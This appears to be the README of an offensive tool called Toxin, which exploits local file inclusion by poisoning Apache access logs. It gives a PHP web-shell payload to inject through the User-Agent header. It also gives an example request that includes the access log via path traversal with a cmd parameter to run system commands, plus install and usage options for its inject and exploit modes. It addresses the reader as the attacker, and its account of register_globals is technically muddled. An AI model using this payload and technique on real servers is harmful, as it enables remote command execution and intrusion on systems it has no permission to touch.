Toxin

Toxin is an LFI (Local File Inclusion)/Log Pollution Exploitation Tool.

Introduction

Toxin exploits a particular (and yet also common)type of Local File Inclusion (LFI) vulnerability wherein the attacker is able to take advantage of PHP's register_globals setting.

In this attack scenario, the attacker would craft a custom User-Agent header which would contain arbitrary PHP code that would register a new global variable to the environment like so:

<?php system($_GET['cmd']); ?>

With the new malicious global variable registered, we can add it to a query string within a URL containing a file on the target host which is vulnerable to inclusion and then use the file along with the query string to execute arbitrary system-level commands, like so:

http://target.tld/info.php?page=../../../../../var/log/apache/access.log&cmd=whoami

There are number of common files which typically falls prey to this attack, Toxin does not attempt to fuzz for those files, but instead expects you, the attacker, to have prior knowledge of your target.

Installation

$ python setup.py install

Usage

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Usage: toxin [OPTIONS]

  Toxin: Local File Inclusion Exploitation Tool

Options:
  -u, --url TEXT        URL to query
  -p, --parameter TEXT  Parameter to inject into User-Agent header
                        (Default: 'cmd')
  -c, --command TEXT    Command to Run
  -m, --mode TEXT       Mode (Inject or Exploit)
  -g, --paged           Paged Output
  --version             Show the version and exit.
  --help                Show this message and exit.
  -h                    Show this message and exit.